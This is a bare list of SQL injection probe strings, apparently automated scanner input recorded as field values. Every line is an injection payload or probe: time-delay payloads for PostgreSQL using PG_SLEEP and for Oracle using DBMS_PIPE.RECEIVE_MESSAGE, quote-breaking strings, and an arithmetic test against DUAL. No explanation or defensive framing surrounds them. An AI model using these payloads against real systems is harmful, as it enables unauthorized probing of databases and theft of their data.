5558DmVOUiN' OR 278=(SELECT 278 FROM PG_SLEEP(15))--

555YIRUl8Ut') OR 683=(SELECT 683 FROM PG_SLEEP(15))--

555weQ0S0Py')) OR 310=(SELECT 310 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)

555

555'"

(select 198766*667891 from DUAL)